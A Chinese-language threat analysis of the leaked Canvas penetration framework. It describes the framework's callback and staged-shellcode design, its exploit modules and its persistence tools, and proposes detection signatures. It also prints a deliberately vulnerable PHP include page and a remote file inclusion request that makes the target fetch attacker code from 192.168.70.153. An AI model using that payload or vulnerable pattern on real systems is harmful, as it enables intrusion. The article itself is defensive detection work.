1、框架概要
近期泄露的 canvas 框架无疑在业内又引起了一阵轩然大波,从泄露的代码来看,该框架覆盖了一次渗透攻击过程的绝大部分阶段,其整体的工作流程如下:
图1. canvas 框架工作流程
框架启动后通过 canvasengine 中的 registerModule 函数注册相关模块,同时根据用户设定的 IP 及接口信息启动对应的 listener,listener 对应的 handler 为 handleNewListenerConnection 函数。
选定攻击模块,并根据攻击者设定的参数信息动态生成 shellocde。
在攻击者完成攻击第一次回连时,传回相应的 mosdeftype 和 id,接着通过步骤1中提及的 handleNewListenerConnection 函数调用 new_node_connection 对回连的消息进行处理,new_node_connection 函数根据不同的 mosdeftype 创建响应的 node 和 server/listener 对象,listener 对象的主要工作是动态生成各类功能 shellcode 发送给受控端,受控端接收并执行这些 shellcode 代码,node 和 server 对象主要则是封装 listener 对象提供的基础函数,直接向用户提供复杂的控制端功能,如创建进程/创建服务/ 上传下载文件等。
在获得目标机器的稳定控制权后,攻击者通常向目标机器种植木马以维持控制,在 canvas 中,木马的生成主要是以特定功能的 shellcode 模板为基础进行动态生成的,生成木马的代码主要位于 exploits/trojan 目录下,shellcode 模板主要是在 shellcode\standalone\windows\payloads 文件中。
接下来,笔者将按攻击阶段对该框架进行简要分析,并提出检测建议,希望能在此特殊时期给大家些许帮助。
2、简要分析
1. 获取控制权
Canvas 中主要包括3种手法获取目标机器控制权的手法:1) rce漏洞;2) web漏洞;3) 客户端软件漏洞,相应的目录分别对应:exploits/remote、exploits/web、exploits/clientside,下面逐个进行分析。
1.1 RCE 漏洞
该部分以 ETERNALBULE 漏洞为例,利用代码位于 /exploits/remote/windows/ETERNALBULE/ETERNALBULE.py,攻击开始后,利用代码会从 shellcode 模板文件 --/exploits/remote/windows/ETERNALBULE/canvas.yaml 选择合适的 shellcode 生成完整的攻击 payload,在攻击成功完成后,被控主机会向控制端发送两次4字节消息,那么这4个字节的意义是什么呢?这4个字节消息是由 canvasengine 模块的 new_node_connection 函数进行处理,在初始时 mosdeftype 都为 UNIVERSAL_MOSDEF,之后就会根据受控端发送过来的4字节设置新的 mosdeftype 和 shellid,其中第一次发送的4字节代表 mosdeftype,第二次则代表 shellid(该部分解析代码由 universal_mosdef_loader 函数完成):
图2. mosdeftype 字段解析
接下来,系统则根据不同的 mosdeftype 的值选择不同的 shellnode 和 shellserver,对应于该漏洞,两个值分别是 win64node.py 和 win64.py,win64shell 的用途时将各类基本命令生成 shellcode 发送给受控端,受控端在接收 shellcode 后会申请可执行的内存空间存储并执行该部分 shellocde,win64node 的用途则主要将 win64 提供的基础函数封装成提供给攻击者使用。
1.2 Web 漏洞
在 Web 漏洞方面,canvas 包含了一个简单的文件包含漏洞的利用实例,利用代码位于 exploits/web/php_includetest.py,为了搭建分析测试环境,我们需要构建这样一个存在文件包含漏洞的页面,文件名为:includetest.php,文件内容:<?php $page = $_GET["page"]; include($page);?>,同时要设置 allow_url_include 为 On,在攻击开始后,利用代码先调用 php_includetest.py 中的 test 函数获取目标路径信息,接着通过 run 函数发送 payload: /includetest.php?page=http://192.168.70.153.:80/test.php,test.php 内容是由 phplistener.py 中的 get_php_stage1 所产生的,较为重要的一部分内容如下:
图3. php stage1 shellcode 生成
可以看到其实流程和 RCE 类漏洞类似,在发送完 mosdef_type 和 mosdef_id 给控制端后,等待接收并执行控制端发送过来的 php 代码。
1.3 客户端软件漏洞
该部分我们以 MS15-020 的利用代码为例,该部分利用代码位于 exploits/clientside/windows/lnk_exec.py。该部分除了提供必要的 http 服务外,主要是用于生成 lnk 文件和恶意 dll 文件,整体流程和前述两种并无太大差异。
1.4 总结
可以看出,canvas 为了获取目标机器的稳定控制权分了两个步骤:1) 利用漏洞获得目标机器控制权,向控制端回连,传回对应的 mosdeftype 和 id,同时等待执行接收的指令;2) 这时开始传输 stage2 的 shellcode,此时的 shellcode 的主要功能是循环等待控制端的指令。
那么对于这个攻击阶段,我们的检测点主要可以包括如下几部分:
1) 回连端口,这当然是最简单明显的特征,默认情况下回连端口为 5555,该端口可以通过 canvas.conf 进行配置。
2) 每个漏洞的利用代码,主要位于 exploits 目录下,这显然是最准确的特征,但这需要逐个分析 exploit,整体所需时间较长。
3) 检测 stage1 和 stage2 的 shellocde,canvas 通过模板文件和内置编译引擎的方式构建了一套动态生成 shellcode 的框架,那么这些 shellocde 模板文件便能直接作为我们检测特征,该部分代码主要位于 shellcode 目录下。
4) 回传的 mosdeftype 和 id,其中 mosdeftype 的值是明确的一个列表,而 id 则是逐渐递增,这两个也能作为较弱的特征辅助检测。
2. 执行指令
在 canvas 框架中,所有的后门指令都是通过动态生成恶意代码,然后发送至受控端,再由受控段执行的,动态生成恶意代码的工作主要由相关节点的 shell 对象 /listener 对象完成。如,javanode 由 javalistener 完成:
图4. java 指令 shellcode 生成
phpnode 由 phplistener 完成:
图5. php 指令 shellcode 生成
win64node 则由 win64 完成:
图6. PE 类指令 shellcode 生成
那么很明显,这个阶段的检测对于脚本类 node 直接从相关的 listener 文件中提取即可,而非脚本类则相对复杂一些,需要调用 canvas 内置的编译引擎编译恶意代码后再提取相关特征。
3. 权限维持
canvas 提供的主要权限维持手段是:1) 支持各类协议上线木马动态生成;2) 以服务的方式将后门驻留在目标系统中。木马生成相关代码主要是在 exploits/trojan 目录中,该部分功能主要逻辑则是将相关功能的 shellocode 模块(位于 shellcode\standalone\windows 目录中)修改后,注入到 PE 文件中,随后生成该文件。trojan 目录各组件的描述如下:
BuildCallbackTrojan | 后门程序,TCP 协议通信 |
BuildDNSCallback | 后门程序,DNS 协议通信 |
BuildHTTPCallback | 后门程序,http 协议通信 |
BuildMOSDEFDLL | DLL 形式的后门组件 |
BuildPowershellCallback | Powershell 后门 |
BuildWARCallbackTrojan | WAR 文件,打包 Windows 和 Linux 平台的 MOSDEF 木马,确定系统后执行相应版本的后门程序。 |
connecttoservice | 用于 TCP 连接远程 MOSDEF 服务 |
inject_mosdef | 用于进程注入劫持代码至 mosdef 服务的插件 |
installmosdefservice | 服务安装驻留,socket 监听,具备 shellcode 执行功能。 |
installremotemosdefservice | 服务安装驻留,SMB 监听,具备文件数据上传功能。 |
linrootkitinject | Linux 平台 rootkit,用于内核代码注入。 |
loadlinrootkit | Windows 平台 rootkit,用于内核代码注入。 |
ram_dumper | 内存 dump 插件。 |
thunderbird_backdoor_deployer | Thunderbird 后门,支持邮件收发,下载执行。 |
thunderbird_backdoor_manager | 同上。 |
wmi_persistence | 使用 WMI 事件机制完成持久化的插件。 |
整体而言并没有太大的技术亮点,同样利用服务进行后门驻留的方式并没有什么特别之处,也是常见的创建系统服务流程,对应的服务文件是 backdoors/mosdefservice.exe,我们简单看一下其执行流程:
图7. 服务后门分析(1)
如上图,该模块为一个以服务方式运行的监听模块,根据参数监听主机 IP 和端口,接下来接收 Shellcode 并执行:
图8. 服务后门分析(2)
很显然,对于这个阶段的检测工作主要是各后门的模板文件,及 shellcode 模板文件。
3、总结
整体而言,该部分框架最大亮点之处在于几个未公开 exp 漏洞的稳定利用代码,针对其检测工作也可以分为短期和中期两部分工作来做:短期较快能提取的特征则是各类 shellcode 模板,恶意代码模板,以及回连端口和流量特征;中期是需要逐个分析 exp 提取相关特征码。当前,我们的 TDP 产品已能覆盖大部分流量特征:
图9. HTTP MOSDEF PLAINTEXT
图10. JAVA MOSDEF
图11. canvas shellcode 传输
声明:本文来自微步在线研究响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。